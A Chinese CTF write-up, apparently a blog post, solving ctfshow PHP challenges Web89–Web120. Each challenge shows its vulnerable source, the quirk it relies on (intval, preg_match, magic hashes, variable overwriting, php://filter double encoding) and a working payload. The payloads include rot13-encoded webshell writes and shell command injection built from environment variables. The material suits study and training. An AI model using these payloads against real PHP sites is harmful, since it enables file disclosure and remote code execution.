0x01Web89-99PHP特性payload
Web89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//這里主要是對數字進行了過濾,並且又要GET請求傳入的num變量為數字或數字串,關於preg_match()函數一個漏洞——>無法處理數組
Paylaod:?num[]=10
Web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//強比較+intval函數
Payload:?num=4476e
Web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
//這里有有兩個條件,第一個需要是php,第二個又不可以php,不過有個差距就是m模式,/m代表匹配多行數據,這里可以通過%0a進行繞過
Payload:?cmd=%0aphp
Web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//這里不能是4476,但是又要是4476,intval可以識別十六進制為十進制
Payload:?num=0x117c
Web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
//ban掉了字母,但是可以用八進制繞過
Payload:?num=010574
Web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
//不能以0開頭了,這時候可以試試小數,intval只識別整數部分
Payload:?num=4476.0001
Web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
//弱比較不可以是4476,然后是傳入參數不可以存在大小寫的26個字母和“.”,接着是不可以以0開頭,最后結束匹配時需要4476,一開始的若比較,這里可以用010574(4476的八進制)繞過,直接到了strpos函數這里,這里不能以0開頭,去看了看intval函數的發現最開頭可以如果是+還是可以識別為原數
Payload:?num=+010574
Web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
//題目有一絲絲的奇怪,不過不能以相對路徑讀的話,就以絕對路徑讀就可以了
Payload:?u=/var/www/html/flag.php
//或者也可以返回上一級然后再回來讀取
Payload:?u=../html/flag.php
Web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
//簡單的md5碰撞,沒啥好說的
Payload:
POST:a[]=1&b[]=2
POST:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
Web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
//考點:變量覆蓋、三元運算符、&在php中的引用作用
//一開始不知道是什么意思,問了一下大師傅,他跟我說了一下三元運算符以及&的作用
//解釋一下
//第一句的意思是如果存在GET請求則引用POST請求的內容
//接下來兩句好像沒啥用,不過為了保險,還是直接還是把flag=xx
//最關鍵的就是HTTP_FALG=flag,這樣才就能回顯flag了
//嘗試了一下發現第一句存在變量覆蓋的效果,所以GET請求不管給什么東西都會被POST請求覆蓋掉
Payload:GET:?xxx POST:flag=xx&HTTP_FLAG=flag
Web99
highlight_file(__FILE__);
$allow = array();
for ($i=0; $i < 0x36d; $i++) {
array_push($allow, rand(0,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
//array_push()函數向allow數組的尾部添加一個元素,該元素由rand()函數返回一個隨機數
//傳入的參數中要有allow數組中的數字,然后是一個文件包含
//文件包含可以用php://filter偽協議,可以使用base64或者rot13,這樣包含了數字
Payload:?n=php://filter/write=string%.rot13/resource=sh.php POST:content=<?cuc flfgrz("gnp *.cuc");?>
Web101
找個時間補
Web102
與103相同
Web103
[https://www.cnblogs.com/erR0Ratao/p/13731541.html
Web104
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
//由題可知,只需要v1的sha1的值等於v2的sha1值,即可獲得flag
//百度查一下sha1碰撞
//這里是弱比較,所以作用就是sha1后為'0e'開頭
Payload:
GET:?v2=aaroZmOk
POST:v1=aaK1STfY
Web105
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你還想要flag嘛?';
$suces='既然你想要那給你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
//一道變量覆蓋的題目,由$$key=$$value確定,意思就是$key的內容作為變量,例如:$key=xx,$$key=$xx
//GET請求的時候不能出現error,但是這里給了另外一個變量$suces,我們可以將$flag值賦給$suces
//POST請求的時候不能出現flag,但是我們第一步已經把值賦給$suces了,所以這里不用出現$flag,只需要$suces把值賦給$error
//最后再判斷flag是否等於$flag,讓flag!=$flag,輸出$error即可
Payload:
GET:?suces=flag
POST:error=suces
Web106
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
//之前那題沒認真審題,都不需要sha1碰撞,這里才需要,直接看Web104即可
Web107
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
//這里有個parse_str()的函數,百度了一下語法
//parse_str(string,array) 函數在string中查詢字符串解析到array數組變量中
//后面的那個md5就簡單了
Payload:
GET:?v3=240610708
POST:v1=flag=0e462097431906509019562988736854
Web108
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
//ereg函數存在一個明顯的漏洞:%00截斷
//strrev反轉字符串
Payload:?c=xx%00778
Web111
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
//前兩個正則匹配過濾了許多的字符,但是沒過濾大小寫字母
//第三個正則需要$v1為ctfshow
//進行了一個自定義函數,這里eval("$$v1=&$$v2")等於eval("$ctfshow=&$$v2"),最后打印出來,已知最后是用var_dump而不是echo,可以使用數組輸出的,所以這里可以讓$ctfshow=&$GLOBALS
//通過利用超全局變量將所有可用的變量都打印出來
Payload:?v1=ctfshow&v2=GLOBALS
Web112
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
//這里對php://filter偽協議的加密過程進行了過濾,但是使用偽協議的過濾器時會先進行一次url編碼,所以這里可以用二次編碼繞過過濾,題目類似WMCTF2020的checkin
Payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php
Web116
打開后是一個視頻,先保存下來,使用binwalk查看,發現存在一個png的圖片,然后截下來查看一下,發現是源碼,過濾的內容和Web112差不多,可以直接用二次繞過進行。Payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php,這里的格式為mp4,直接訪問是沒有的,可以通過抓包獲取base64的編碼
Web117
<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
//正則匹配了了一些過濾器,不過可以使用二次編碼繞過,這里添加了<?php die();?>,如果不進行修改的話就會無效了,這里可以用通過rot13讓它失效
Payload:
GET:?file=php://filter/write=%2573tring.%2572ot13/resource=sh.php
POST:contents=<?cuc flfgrz("gnp *.cuc");?>
Web118
F12有源碼提示:,命令執行的題目
fuzz嘗試了一下,可以使用大寫字母和${}:?.~這些字符
${PATH}:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${PWD}:/var/www/html
發現使用${PATH:~A}可以導出最后一個字符n;${PWD:~A}導出l,則構成nl命令
Payload:POST:code=${PATH:~A}${PWD:~A} ????.???
Web119
過濾了PATH變量,不能使用找不到可以替代的"n"了,開了一個最簡單的命令執行的題目,使用env命令,查看一下可以使用的變量,有點差別的是這里使用的PHP版本是7.3.22
USER=www-data
PHPIZE_DEPS=autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c
PHP_VERSION=7.3.22
找到了這幾個變量可以構建出cat ????.???這樣子,使用方式如下
echo ${PHPIZE_DEPS:~A}
//返回c
echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
//返回at
Payload:${PHPIZE_DEPS:~A}${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
Web120
上面的Payload並沒有被過濾到,不過長度受限了,要小於65,上面的Payload長度為70,這里可以使用SHLVL變量替代PHP_VERSION變量,這樣就可以繞過了
Payload:POST:code=${PHPIZE_DEPS:~A}${USER:~${SHLVL:~A}:${SHLVL:~A}} ????.???
本文作者:erR0Ratao
本文鏈接:https://www.cnblogs.com/erR0Ratao/p/13693066.html